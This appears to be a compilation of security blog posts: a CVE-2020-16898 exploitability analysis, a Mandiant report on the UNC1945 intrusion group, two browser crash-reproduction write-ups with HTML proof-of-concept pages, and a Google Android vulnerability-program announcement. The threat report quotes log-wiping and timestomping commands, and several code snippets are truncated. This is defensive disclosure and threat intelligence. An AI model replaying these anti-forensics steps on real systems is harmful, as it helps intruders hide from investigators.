            // Other, less interesting assumptions about PrefixInfoPrefixLength

        case 25: // Recursive DNS Server Option
            Ipv6pUpdateRDNSS(..., NetBuffer, ...);
            AdvanceBuffer = FALSE;

        case 31: // DNS Search List Option
            Ipv6pUpdateDNSSL(..., NetBuffer, ...);
            AdvanceBuffer = FALSE;

        if (AdvanceBuffer)
            NetBuffer->DataOffset += OptionLenInBytes;
            NetBuffer->DataLength -= OptionLenInBytes;
            // Other adjustments for NetBuffer...

    // More code...

As can be seen from the code, only 6 option types are supported in the first loop, the others are ignored. In any case, each header is skipped precisely according to the Length field.

Even less options, 4, are supported in the second loop. And similarly to the first loop, each header is skipped precisely according to the Length field, but this time with two exceptions: types 24 (the Route Information Option) and 25 (Recursive DNS Server Option) have functions which adjust the network buffer pointers by themselves, creating an opportunity for inconsistencies. 

That’s exactly what is happening with this bug – the Ipv6pUpdateRDNSS function doesn’t adjust the network buffer pointers as expected when the length field is even.

Breaking assumptions

Essentially, this bug allows us to break the assumptions made by the second loop that are supposed to be verified in the first loop. The only option types that are relevant are the 4 types which appear in both loops, that’s also why we didn’t include the other 2 in the code of the first loop. One such assumption is the value of the length field, and that’s how the buffer overflow POC works, but let’s revisit them all and see what can be achieved.

  • Option type 3 – Prefix Information
    • The option structure size must be 0x20 bytes. Breaking this assumption is what allows us to trigger the stack overflow, by providing a larger option structure. We can also provide a smaller structure, but that doesn’t have much value in this case.
    • The Prefix Length field value must be at most 128. Breaking this assumption allows us to set the field to an invalid value in the range of 129-255. This can indeed be used to cause an out-of-bounds data write, but in all such cases that we could find, the out-of-bounds write happens on the stack in a location which is overridden later anyway, so causing such out-of-bounds writes has no practical value.

      For example, one such out-of-bounds write happens in tcpip!Ipv6pMakeRouteKey, called by tcpip!IppValidateSetAllRouteParameters.
  • Option type 24 – Route Information Option
    • The option structure size must not be larger than 0x18 bytes. Same implications as for option type 3.
    • The Prefix Length field value must be at most 128. Same implications as for option type 3.
    • The Prefix Length field value must fit the structure option size. That isn’t really interesting since any value in the range 0-128 is handled correctly. The worst thing that could happen here is a small out-of-bounds read.
  • Option type 25 – Recursive DNS Server Option
    • The option structure size must not be smaller than 0x18 bytes. This isn’t interesting, since the size must be at least 8 bytes anyway (the length field is verified to be larger than zero in both loops), and any such structure is handled correctly, even though a size of 8-bytes is not valid according to the specification.
    • The option structure size must be in the form of 8+n*16 bytes. This check was added after fixing CVE-2020-16898.
  • Option type 31 – DNS Search List Option
    • The option structure size must not be smaller than 0x10 bytes. Same implications as for option type 25.

As you can see, there was a slight chance of doing something other than the demonstrated stack overflow by breaking the assumption of the valid prefix length value for option type 3 or 24. Even though it’s literally about smuggling a single bit, sometimes that’s enough. But it looks like this time we weren’t that lucky.

Revisiting the Stack Overflow

Before giving up, we took a closer look at the stack. The POCs that we’ve seen are overriding the stack such that the stack cookie (the __security_cookie value) is overridden, causing a system crash before the function returns.

We checked whether overriding anything on the stack can help achieve code execution before the function returns. That can be a local variable in the “Local variables (2)” space, or any variable in the previous frames that might be referenced inside the function. Unfortunately, we came to the conclusion that all the variables in the “Local variables (2)” space are output buffers that are modified before access, and no data from the previous frames is accessed.


We conclude with high confidence that CVE-2020-16898 is not exploitable without an additional vulnerability. It is possible that we may have missed something. Any insights / feedback is welcome. Even though we weren’t able to exploit the bug, we enjoyed the research, and we hope that you enjoyed this writeup as well.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945

Through Mandiant investigation of intrusions, the FLARE Advanced Practices team observed a group we track as UNC1945 compromise managed service providers and operate against a tailored set of targets within the financial and professional consulting industries by leveraging access to third-party networks (see this blog post for an in-depth description of “UNC” groups).

UNC1945 targeted Oracle Solaris operating systems, utilized several tools and utilities against Windows and Linux operating systems, loaded and operated custom virtual machines, and employed techniques to evade detection. UNC1945 demonstrated access to exploits, tools and malware for multiple operating systems, a disciplined interest in covering or manipulating their activity, and displayed advanced technical abilities during interactive operations.

Mandiant discovered and reported to Oracle CVE-2020-14871, which was addressed in Oracle's October 2020 Critical Patch Update. Mandiant recommends staying current on all current patch updates to ensure a high security posture. We will discuss this vulnerability in greater detail in a follow up blog post.

UNC1945 Attack Lifecycle

The threat actor demonstrated experience and comfort by utilizing unique tactics, techniques and procedures (TTPs) within Unix environments, demonstrating a high level of acumen in conjunction with ease of operability in Microsoft Windows operating systems. They were successful navigating multiple segmented networks and leveraging third-party access to extend operations well beyond the initial victim. Furthermore, UNC1945 operated from several virtual machines pre-configured with post-exploitation tools in addition to their custom toolset to evade detection and forensics.

Initial Compromise

In late 2018, UNC1945 gained access to a Solaris server and installed a backdoor we track as SLAPSTICK in order to capture connection details and credentials to facilitate further compromise. The SSH service of this server was exposed to the internet at the time, the same time we observed first evidence of threat activity. Unfortunately, due to insufficient available evidence, the next indication of activity was in mid-2020 at which time a different Solaris server was observed connecting to the threat actor infrastructure. This indicates a dwell time of approximately 519 days based on recovered artifacts.

  • Although we were unable to determine how the late-2018 initial access was accomplished, we did observe successful UNC1945 SSH connections directly to the victim Solaris 10 server, since the SSH service was exposed directly to the internet at the time.
  • In mid-2020, we observed UNC1945 deploy EVILSUN—a remote exploitation tool containing a zero-day exploit for CVE-2020-14871—on a Solaris 9 server. At the time, connections from the server to the threat actor IP address were observed over port 8080.
    • Mandiant discovered and reported CVE-2020-14871, a recently patched vulnerability in the Oracle Solaris Pluggable Authentication Module (PAM) that allows an unauthenticated attacker with network access via multiple protocols to exploit and compromise the operating system.
    • According to an April 2020 post on a black-market website, an “Oracle Solaris SSHD Remote Root Exploit” was available for approximately $3,000 USD, which may be identifiable with EVILSUN.
    • Additionally, we confirmed a Solaris server exposed to the internet had critical vulnerabilities, which included the possibility of remote exploitation without authentication.

Establish Foothold and Maintain Persistence

The threat actor used a Solaris Pluggable Authentication Module backdoor we refer to as SLAPSTICK to establish a foothold on a Solaris 9 server. This facilitated user access to the system with a secret hard-coded password and allowed the threat actors to escalate privileges and maintain persistence (see Figure 1).

  • Log –font –unix | /usr/lib/ssh/sshd sshd kbdint - can <Encoded Password> <IP REDACTED> Magical Password
  • | sshd[11800]: [ID 800047] Accepted keyboard-interactive for root from <IP REDACTED> port 39680 ssh2
  • auth.notice | su: [ID 366847 auth.notice] ‘su root’ - succeeded for netcool on /dev/pts/31

Figure 1: SLAPSTICK logs

At the initial victim, UNC1945 placed a copy of a legitimate file and SLAPSTICK in the /lib64/security folder. A day later, the threat actor positioned a custom Linux backdoor, which Mandiant named LEMONSTICK, on the same workstation. LEMONSTICK capabilities include command execution, file transfer and execution, and the ability to establish tunnel connections. (see Figure 2).

  • FileItem:changed | /usr/lib64/security/pam_unix,so [57720]
  • Audit log | [audit_type: USER_END] user pid=10080 uid=0 auid=0 msg='PAM: session close acct=root" : exe="/usr/sbin/sshd" (hostname=, addr=, terminal=ssh res=success)'"
  • FileItem:Accessed | /var/tmp/.cache/ocb_static

Figure 2: UNC1945 emplacement of SLAPSTICK 

UNC1945 obtained and maintained access to their external infrastructure using an SSH Port Forwarding mechanism despite the host lacking accessibility to the internet directly. SSH Port Forwarding is a mechanism implemented in SSH protocol for transporting arbitrary networking data over an encrypted SSH connection (tunneling). This feature can be used for adding encryption to legacy applications traversing firewalls or with malicious intent to access internal networks from the the internet. The UNC1945 configurations we observed are similarly structured with respect to the host alias, specified options, and option order (see Figure 3).

config1 config2
Host <redacted>
HostName <redacted>
Port 900
User <redacted>
IdentityFile <redacted>
KbdInteractiveAuthentication no
PasswordAuthentication no
NoHostAuthenticationForLocalhost yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
RemoteForward 33002
Host <redacted>
HostName <redacted>
Port 443
User <redacted>
IdentityFile <redacted>
KbdInteractiveAuthentication no
PasswordAuthentication no
NoHostAuthenticationForLocalhost yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
ServerAliveInterval 30
ServerAliveCountMax 3
RemoteForward 2224 <redacted>:22

Figure 3: SSH config files used by UNC1945 at different incidents

As part of this multi-stage operation, UNC1945 dropped a custom QEMU Virtual Machine (VM) on multiple hosts, which was executed inside of any Linux system by launching a ‘’ script. The script contained TCP forwarding settings that could be used by the threat actor in conjunction with the SSH tunnels to give direct access from the threat actor VM to the command and control server to obfuscate interaction with customer infrastructure. The VM was running a version of the Tiny Core Linux OS with pre-loaded scripts and tools. Also, we analyzed the Virtual Machine file system timestamps, which coincided with UNC1945's overall operational timeline.

The VM contained numerous tools such as network scanners, exploits and reconnaissance tools. Tiny Core Linux pre-loaded tools included Mimikatz, Powersploit, Responder, Procdump, CrackMapExec, PoshC2, Medusa, JBoss Vulnerability Scanner and more.

Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files.

UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4.

$ ./b -C -y -a
$ mv b /usr/lib64/
$ cd /usr/lib64/
$ touch -acm -r
$ touch -acm -r


To further obfuscate activity, a Linux ELF packer named STEELCORGI was executed in memory on the Solaris system. The malware contains various anti-analysis techniques, including anti-debugging, anti-tracing, and string obfuscation. It uses environment variables as a key to unpack the final payload.

Escalate Privileges and Lateral Movement

After successfully establishing a foothold, UNC1945 collected credentials, escalated privileges, and successfully moved laterally through multiple networks.

UNC1945 obtained credentials via SLAPSTICK and open source tools such as Mimikatz, which enabled easy lateral movement throughout networks to obtain immediate access to other segments of the network and third-party environments. Stolen credentials collected by SLAPSTICK were used to traverse the customer network via SSH and deploy SLAPSTICK to additional hosts. After successfully authenticating, SLAPSTICK displays a welcome message, as seen in Figure 5.

Figure 5: SLAPSTICK backdoor welcome banner

UNC1945 used ProxyChains to download PUPYRAT, an open source, cross-platform multi-functional remote administration and post-exploitation tool mainly written in Python.

At one target, the threat actor used a virtual machine to initiate a brute-force of SSH targeting Linux and HP-UX endpoints. Beginning with seemingly random usernames and shifting to legitimate Linux and Windows accounts, the threat actor successfully established SSH connections on a Linux endpoint. After successfully escalating privileges on an HP-UX endpoint and a Linux endpoint, UNC1945 installed three backdoors: SLAPSTICK, TINYSHELL, and OKSOLO.

We observed UNC1945 use IMPACKET with SMBEXEC in a Microsoft Windows environment to execute commands remotely without the need to upload a payload to the target. SMBEXEC allows the threat actor to operate like PsExec, but without using RemComSvc. There are two main modes of using this tool that benefits attackers. Share mode allows the specification of a share that everything will be executed through. Server mode permits the output of the executed commands to be sent back by the target machine into a locally shared folder.

At one victim, we observed UNC1945 moving laterally via Remote Desktop Protocol (RDP) to a Windows server before viewing the Server Manager Panel, viewing and modifying RDP-related system firewall rules and checking the application settings of two endpoint security services.

Internal Reconnaissance

Mandiant investigations found that the threat actor maintains various tools to interact with victim networks. In addition to custom tools, the UNC1945 VMs contained various tools (e.g. network scanners, exploits and reconnaissance; see Associated Tools and Malware section).

In some intrusions, UNC1945 employed a SPARC executable identified as a reconnaissance tool. Based on publicly available information, this executable could be referred to as Luckscan or BlueKeep, the latter of which is part of the BKScan toolkit (see Figure 6).

Figure 6: SPARC executable recon tool command line used by the threat actor

According to open sources, BlueKeep, aka “bkscan” scanner, works both unauthenticated and authenticated (i.e. when Network Level Authentication is enabled). BlueKeep (CVE-2019-0708) is a security vulnerability that was discovered in Microsoft's Remote Desktop Protocol (RDP) implementation, which allows for the possibility of remote code execution.

Complete Mission

Despite this multi-staged operation, Mandiant did not observe evidence of data exfiltration and was unable to determine UNC1945's mission for most of the intrusions we investigated. In at least one case, we observed ROLLCOAST ransomware deployment in the final phase of the threat actor activity, but Mandiant didn’t attribute this activity to UNC1945. At this time, it is likely that access to the victim environment was sold to another group.


The ease and breadth of exploitation in which UNC1945 conducted this campaign suggests a sophisticated, persistent actor comfortable exploiting various operating systems, and access to resources and numerous toolsets. Given the aforementioned factors, use of zero-day exploits and virtual machines, and ability to traverse multiple third-party networks, Mandiant expects this motivated threat actor to continue targeted operations against key industries while taking advantage of operating systems that likely have inadequate security visibility.     

Associated Tools and Malware Families

EVILSUN is a remote exploitation tool that gains access to Solaris 10 and 11 systems of SPARC or i386 architecture using a vulnerability (CVE-2020-14871) exposed by SSH keyboard-interactive authentication. The remote exploitation tool makes SSH connections to hosts passed on the command line. The default port is the normal SSH port (22), but this may be overridden. EVILSUN passes the banner string SSH-2.0-Sun_SSH_1.1.3 over the connection in clear text as part of handshaking.

LEMONSTICK is a Linux executable command line utility with backdoor capabilities. The backdoor can execute files, transfer files, and tunnel connections. LEMONSTICK can be started in two different ways: passing the `-c` command line argument (with an optional file) and setting the ‘OCB’ environment variable. When started with the `-c` command line argument, LEMONSTICK spawns an interactive shell. When started in OCB mode, LEMONSTICK expects to read from STDIN. The STDIN data is expected to be encrypted with the blowfish algorithm. After decrypting, it dispatches commands based on the name—for example: ‘executes terminal command’, ‘connect to remote system’, ‘send & retrieve file’, ‘create socket connection’.

LOGBLEACH is an ELF utility that has a primary functionality of deleting log entries from a specified log file(s) based on a filter provided via command line. The following log files are hard coded in the malware, but additional log paths may be specified:

  • /var/run/utmp
  • /var/log/wtmp
  • /var/log/btmp
  • /var/log/lastlog
  • /var/log/faillog
  • /var/log/syslog
  • /var/log/messages
  • /var/log/secure
  • /var/log/auth.log

OKSOLO is a publicly available backdoor that binds a shell to a specified port. It can be compiled to support password authentication or dropped into a root shell.

OPENSHACKLE is a reconnaissance tool that collects information about logged-on users and saves it to a file. OPENSHACKLE registers Windows Event Manager callback to achieve persistence.

ProxyChains allows the use of SSH, TELNET, VNC, FTP and any other internet application from behind HTTP (HTTPS) and SOCKS (4/5) proxy servers. This "proxifier" provides proxy server support to any application.

PUPYRAT (aka Pupy) is an open source, multi-platform (Windows, Linux, OSX, Android), multi-function RAT (Remote Administration Tool) and post-exploitation tool mainly written in Python. It features an all-in-memory execution guideline and leaves very low footprint. It can communicate using various transports, migrate into processes (reflective injection), and load remote Python code, Python packages and Python C-extensions from memory.

STEELCORGI is a packer for Linux ELF programs that uses key material from the executing environment to decrypt the payload. When first starting up, the malware expects to find up to four environment variables that contain numeric values. The malware uses the environment variable values as a key to decrypt additional data to be executed.

SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.

TINYSHELL is a lightweight client/server clone of the standard remote shell tools (rlogin, telnet, ssh, etc.), which can act as a backdoor and provide remote shell execution as well as file transfers.


  • FE_APT_Trojan_Linux_STEELCORGI_1
  • FE_APT_Trojan_Linux_STEELCORGI_2
  • FE_HackTool_Linux64_EVILSUN_1
  • FE_HackTool_Linux_EVILSUN_1
  • HackTool.Linux.EVILSUN.MVX
  • HXIOC UUID: e489ce60-f315-4d1a-a888-77782f687eec
  • EVILSUN (FAMILY) 90005075FE_Trojan_Linux_LEMONSTICK_1
  • HXIOC UUID: 4a56fb0c-6134-4450-ad91-0f622a92701c
  • FE_APT_Backdoor_Linux64_SLAPSTICK_1
  • FE_APT_Backdoor_Linux_SLAPSTICK_1
  • FE_Backdoor_Win_PUPYRAT_1
  • FE_Ransomware_Win64_ROLLCOAST_1
  • FE_Ransomware_Win_ROLLCOAST_1
  • HXIOC, 45632ca0-a20b-487f-841c-c74ca042e75a; ROLLCOAST RANSOMWARE (FAMILY)
  • Ransomware.Win.ROLLCOAST.MVX


  • d5b9a1845152d8ad2b91af044ff16d0b (SLAPSTICK)
  • 0845835e18a3ed4057498250d30a11b1 (STEELCORGI)
  • 6983f7001de10f4d19fc2d794c3eb534
  • 2eff2273d423a7ae6c68e3ddd96604bc
  • d505533ae75f89f98554765aaf2a330a
  • abaf1d04982449e0f7ee8a34577fe8af



ATT&CK Tactic Category


Initial Access

T1133 External Remote Services

T1190 Exploit Public-Facing Application


T1059 Command and Scripting Interpreter

T1059.001 PowerShell

T1064 Scripting


T1133 External Remote Services

Lateral Movement

T1021.001 Remote Desktop Protocol

T1021.004 SSH

Defense Evasion

T1027 Obfuscated Files or Information

T1070.004 File Deletion

T1070.006 Timestomp

T1064 Scripting

T1553.002 Code Signing


T1046 Network Service Scanning

T1082 System Information Discovery

T1518.001 Security Software Discovery

Lateral Movement

T1021.001 Remote Desktop Protocol

T1021.004 SSH

Command and Control

T1071 Application Layer Protocol

T1090 Proxy

T1105 Ingress Tool Transfer

T1132.001 Standard Encoding

For more information, check out our Bring Your Own Land blog post. Additionally, Mandiant experts from the FLARE team will present an in-depth view into UNC1945 on Thursday, Nov. 12. Register today to reserve your spot for this discussion, where the presenters from FLARE and Mandiant Managed Defense will also answer questions from the audience. Finally, for more intelligence on these types of threats, please register for Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

Crash Reproduction Series: Microsoft Edge Legacy

Crash Reproduction Series: Microsoft Edge Legacy

During yet another Digital Forensics investigation using ZecOps Crash Forensics Platform, we saw a crash of the Legacy (pre-Chromium) Edge browser. The crash was caused by a NULL pointer dereference bug, and we concluded that the root cause was a benign bug of the browser. Nevertheless, we thought that it would be a nice showcase of a crash reproduction.

Here’s the stack trace of the crash:

00007ffa`35f4a172     edgehtml!CMediaElement::IsSafeToUse+0x8
00007ffa`36c78124     edgehtml!TrackHelpers::GetStreamIndex+0x26
00007ffa`36c7121f     edgehtml!CSourceBuffer::RemoveAllTracksHelper<CTextTrack,CTextTrackList>+0x98
00007ffa`36880903     edgehtml!CMediaSourceExtension::Var_removeSourceBuffer+0xc3
00007ffa`364e5f95     edgehtml!CFastDOM::CMediaSource::Trampoline_removeSourceBuffer+0x43
00007ffa`3582ea87     edgehtml!CFastDOM::CMediaSource::Profiler_removeSourceBuffer+0x25
00007ffa`359d07b6     Chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x207
00007ffa`35834ab8     Chakra!amd64_CallFunction+0x86
00007ffa`35834d38     Chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x198
00007ffa`35834f99     Chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xb8
00007ffa`3582cd80     Chakra!Js::InterpreterStackFrame::ProcessProfiled+0x149
00007ffa`3582df9f     Chakra!Js::InterpreterStackFrame::Process+0xe0
00007ffa`3582cf9e     Chakra!Js::InterpreterStackFrame::InterpreterHelper+0x88f
0000016a`bacc1f8a     Chakra!Js::InterpreterStackFrame::InterpreterThunk+0x4e
00007ffa`359d07b6     0x0000016a`bacc1f8a
00007ffa`358141ea     Chakra!amd64_CallFunction+0x86
00007ffa`35813f0c     Chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x2aa
00007ffa`35813e4a     Chakra!Js::JavascriptFunction::CallRootFunction+0x7c
00007ffa`35813d29     Chakra!ScriptSite::CallRootFunction+0x6a
00007ffa`35813acb     Chakra!ScriptSite::Execute+0x179
00007ffa`362bebed     Chakra!ScriptEngineBase::Execute+0x19b
00007ffa`362bde49     edgehtml!CListenerDispatch::InvokeVar+0x41d
00007ffa`362bc6c2     edgehtml!CEventMgr::_InvokeListeners+0xd79
00007ffa`35fdf8f1     edgehtml!CEventMgr::Dispatch+0x922
00007ffa`35fe0089     edgehtml!CEventMgr::DispatchPointerEvent+0x215
00007ffa`35fe04f4     edgehtml!CEventMgr::DispatchClickEvent+0x1d1
00007ffa`36080f10     edgehtml!Tree::ElementNode::Fire_onclick+0x60
00007ffa`36080ca0     edgehtml!Tree::ElementNode::DoClick+0xf0

Amusingly, the browser crashed in the CMediaElement::IsSafeToUse function. Apparently, the answer is no – it isn’t safe to use.

Crash reproduction

The stack trace indicates that the function that was executed by the JavaScript code, and eventually caused the crash, was removeSourceBuffer, part of the MediaSource Web API. Looking for a convenient example to play with, we stumbled upon this page which uses the counterpart function, addSourceBuffer. We added a button that calls removeSourceBuffer and tried it out.

Just calling removeSourceBuffer didn’t cause a crash (otherwise it would be too easy, right?). To see how far we got, we attached a debugger and put a breakpoint on the edgehtml!CMediaSourceExtension::Var_removeSourceBuffer function, then did some stepping. We saw that the CSourceBuffer::RemoveAllTracksHelper function is not being called at all. What tracks does it help to remove?

After some searching, we learned that there’s the HTML <track> element that allows us to specify textual data, such as subtitles, for a media element. We added such an element to our sample video and bingo! Edge crashed just as we hoped.

Crash reason

Our best guess is that the crash happens because the CTextTrackList::GetTrackCount function returns an incorrect value. In our case, it returns 2 instead of 1. An iteration is then made, and the CTextTrackList::GetTrackNoRef function is called with index values from 0 to the track count (simplified):

int count = CTextTrackList::GetTrackCount();
for (int i = 0; i < count; i++) {
    CTextTrackList::GetTrackNoRef(..., i);
    /* more code... */

While it may look like an out-of-bounds bug, it isn’t. GetTrackNoRef returns an error for an invalid index, and for index=1 (in our case), a valid object is returned, it’s just that one of its fields is a NULL pointer. Perhaps the last value in the array is some kind of a sentinel value which was not supposed to be part of the iteration.


The bug is not exploitable, and can only cause a slight inconvenience by crashing the browser tab.


Here’s a POC that demonstrates the crash. Save it as an html file, and place the test.mp4, foo.vtt files in the same folder.

Tested version:

  • Microsoft Edge 44.18362.449.0
  • Microsoft EdgeHTML 18.18363

<video autoplay controls playsinline>
    <!-- -->
    <track label="English" kind="subtitles" srclang="en" src="foo.vtt" default>

    // Based on:
    var FILE = 'test.mp4'; //
    var video = document.querySelector('video');

    var mediaSource = new MediaSource();
    video.src = window.URL.createObjectURL(mediaSource);

    mediaSource.addEventListener('sourceopen', function () {
        var sourceBuffer = mediaSource.addSourceBuffer('video/mp4; codecs="mp4a.40.2,avc1.4d400d"');

        var button = document.querySelector('button');
        button.onclick = () => mediaSource.removeSourceBuffer(mediaSource.sourceBuffers[0]);

        get(FILE, function (uInt8Array) {
            var file = new Blob([uInt8Array], {
                type: 'video/mp4'

            var reader = new FileReader();

            reader.onload = function (e) {
                sourceBuffer.appendBuffer(new Uint8Array(;
                sourceBuffer.addEventListener('updateend', function () {
                    if (!sourceBuffer.updating && mediaSource.readyState === 'open') {

    }, false);

    function get(url, callback) {
        var xhr = new XMLHttpRequest();'GET', url, true);
        xhr.responseType = 'arraybuffer';

        xhr.onload = function () {
            if (xhr.status !== 200) {
                alert('Unexpected status code ' + xhr.status + ' for ' + url);
                return false;
            callback(new Uint8Array(xhr.response));

Does mobile DFIR research interest you?

ZecOps is expanding. We’re looking for additional researchers to join ZecOps Research Team. If you’re interested, send us a note at

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Crash Reproduction Series: IE Developer Console UAF

Crash Reproduction Series: IE Developer Console UAF

During a DFIR investigation, using ZecOps Crash Forensics on a developer’s computer we encountered a consistent crash on Internet Explorer 11. The TL;DR is that albeit this bug is not exploitable, it presents an interesting expansion to the attack surface through the Developer Consoles on browsers.

While examining the stack trace, we noticed a JavaScript engine failure. The type of the exception was a null pointer dereference, which is typically not alarming. We investigated further to understand whether this event can be exploited.

We examined the stack trace below: 

58c0cdba     mshtml!CDiagnosticsElementEventHelper::OnDOMEventListenerRemoved2+0xb
584d6ebc     mshtml!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::OnDOMEventListenerRemoved2+0x1a
584d8a1c     mshtml!DOMEventDebug::InvokeUnregisterCallbacks+0x100
58489f85     mshtml!CListenerAry::ReleaseAndDelete+0x42
582f6d3a     mshtml!CBase::RemoveEventListenerInternal+0x75
5848a9f7     mshtml!COmWindowProxy::RemoveEventListenerInternal+0x1a
582fb8b9     mshtml!CBase::removeEventListener+0x57
587bf1a5     mshtml!COmWindowProxy::removeEventListener+0x29
57584dae     mshtml!CFastDOM::CWindow::Trampoline_removeEventListener+0xb5
57583bb3     jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x1de
574d4492     jscript9!Js::JavascriptFunction::CallFunction<1>+0x93
[...more jscript9 functions]
581b0838     jscript9!ScriptEngineBase::Execute+0x9d
580b3207     mshtml!CJScript9Holder::ExecuteCallback+0x48
580b2fd3     mshtml!CListenerDispatch::InvokeVar+0x227
57fe5ad1     mshtml!CListenerDispatch::Invoke+0x6d
58194d17     mshtml!CEventMgr::_InvokeListeners+0x1ea
58055473     mshtml!CEventMgr::_DispatchBubblePhase+0x32
584d48aa     mshtml!CEventMgr::Dispatch+0x41e
584d387d     mshtml!CEventMgr::DispatchPointerEvent+0x1b0
5835f332     mshtml!CEventMgr::DispatchClickEvent+0x2c3
5835ce15     mshtml!CElement::Fire_onclick+0x37
583baa8e     mshtml!CElement::DoClick+0xd5

and noticed that the flow that led to the crash was:

  • An onclick handler fired due to a user input
  • The onclick handler was executed
  • removeEventListener was called

The crash happened at:


58c0cdcd 8b9004010000    mov     edx,dword ptr [eax+104h] ds:002b:00000104=????????

Relevant commands leading to a crash:

58c0cdc7 8b411c       mov     eax, dword ptr [ecx+1Ch]
58c0cdca 8b401c       mov     eax, dword ptr [eax+1Ch]
58c0cdcd 8b9004010000 mov     edx, dword ptr [eax+104h]

Initially ecx is the “this” pointer of the called member function’s class. On the first dereference we get a zeroed region, on the second dereference we get NULL, and on the third one we crash.


We tried to reproduce a legit call to mshtml!CDiagnosticsElementEventHelper::OnDOMEventListenerRemoved2 to see how it looks in a non-crashing scenario. We came to the conclusion that the event is called only when the IE Developer Tools window is open with the Events tab.

We found out that when the dev tools Events tab is opened, it subscribes to events for added and removed event listeners. When the dev tools window is closed, the event consumer is freed without unsubscribing, causing a use-after-free bug which results in a null dereference crash.


Tools such as Developer Options dynamically add additional complexity to the process and may open up additional attack surfaces.


Even though Use-After-Free (UAF) bugs can often be exploited for arbitrary code execution, this bug is not exploitable due to MemGC mitigation. The freed memory block is zeroed, but not deallocated while other valid objects still point to it. As a result, the referenced pointer is always a NULL pointer, leading to a non-exploitable crash.

Responsible Disclosure

We reported this issue to Microsoft, that decided to not fix this UAF issue.


Below is a small HTML page that demonstrates the concept and leads to a crash.
Tested IE11 version: 11.592.18362.0
Update Versions: 11.0.170 (KB4534251)

<!DOCTYPE html>
1. Open dev tools
2. Go to Events tab
3. Close dev tools
4. Click on Enable
<button onclick="setHandler()">Enable</button>
<button onclick="removeHandler()">Disable</button>
<p id="demo"></p>
function myFunction() {
    document.getElementById("demo").innerHTML = Math.random();
function setHandler() {
    document.body.addEventListener("mousemove", myFunction);
function removeHandler() {
    document.body.removeEventListener("mousemove", myFunction);

Interested in researching browser & OS bugs daily?

ZecOps is expanding. We’re looking for additional researchers to join ZecOps Research Team. If you’re interested, send us a note at

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Announcing the launch of the Android Partner Vulnerability Initiative

Posted by Kylie McRoberts, Program Manager and Alec Guertin, Security Engineer

Android graphic

Google’s Android Security & Privacy team has launched the Android Partner Vulnerability Initiative (APVI) to manage security issues specific to Android OEMs. The APVI is designed to drive remediation and provide transparency to users about issues we have discovered at Google that affect device models shipped by Android partners.

Another layer of security

Android incorporates industry-leading security features and every day we work with developers and device implementers to keep the Android platform and ecosystem safe. As part of that effort, we have a range of existing programs to enable security researchers to report security issues they have found. For example, you can report vulnerabilities in Android code via the Android Security Rewards Program (ASR), and vulnerabilities in popular third-party Android apps through the Google Play Security Rewards Program. Google releases ASR reports in Android Open Source Project (AOSP) based code through the Android Security Bulletins (ASB). These reports are issues that could impact all Android based devices. All Android partners must adopt ASB changes in order to declare the current month’s Android security patch level (SPL). But until recently, we didn’t have a clear way to process Google-discovered security issues outside of AOSP code that are unique to a much smaller set of specific Android OEMs. The APVI aims to close this gap, adding another layer of security for this targeted set of Android OEMs.

Improving Android OEM device security

The APVI covers Google-discovered issues that could potentially affect the security posture of an Android device or its user and is aligned to ISO/IEC 29147:2018 Information technology -- Security techniques -- Vulnerability disclosure recommendations. The initiative covers a wide range of issues impacting device code that is not serviced or maintained by Google (these are handled by the Android Security Bulletins).

Protecting Android users

The APVI has already processed a number of security issues, improving user protection against permissions bypasses, execution of code in the kernel, credential leaks and generation of unencrypted backups. Below are a few examples of what we’ve found, the impact and OEM remediation efforts.

Permission Bypass

In some versions of a third-party pre-installed over-the-air (OTA) update solution, a custom system service in the Android framework exposed privileged APIs directly to the OTA app. The service ran as the system user and did not require any permissions to access, instead checking for knowledge of a hardcoded password. The operations available varied across versions, but always allowed access to sensitive APIs, such as silently installing/uninstalling APKs, enabling/disabling apps and granting app permissions. This service appeared in the code base for many device builds across many OEMs, however it wasn’t always registered or exposed to apps. We’ve worked with impacted OEMs to make them aware of this security issue and provided guidance on how to remove or disable the affected code.

Credential Leak

A popular web browser pre-installed on many devices included a built-in password manager for sites visited by the user. The interface for this feature was exposed to WebView through JavaScript loaded in the context of each web page. A malicious site could have accessed the full contents of the user’s credential store. The credentials are encrypted at rest, but used a weak algorithm (DES) and a known, hardcoded key. This issue was reported to the developer and updates for the app were issued to users.

Overly-Privileged Apps

The checkUidPermission method in the PackageManagerService class was modified in the framework code for some devices to allow special permissions access to some apps. In one version, the method granted apps with the shared user ID any permission they requested and apps signed with the same key as the package any permission in their manifest. Another version of the modification allowed apps matching a list of package names and signatures to pass runtime permission checks even if the permission was not in their manifest. These issues have been fixed by the OEMs.

More information

Keep an eye out at for future disclosures of Google-discovered security issues under this program, or find more information there on issues that have already been disclosed.

Acknowledgements: Scott Roberts, Shailesh Saini and Łukasz Siewierski, Android Security and Privacy Team

Fuzzing Image Parsing in Windows, Part One: Color Profiles

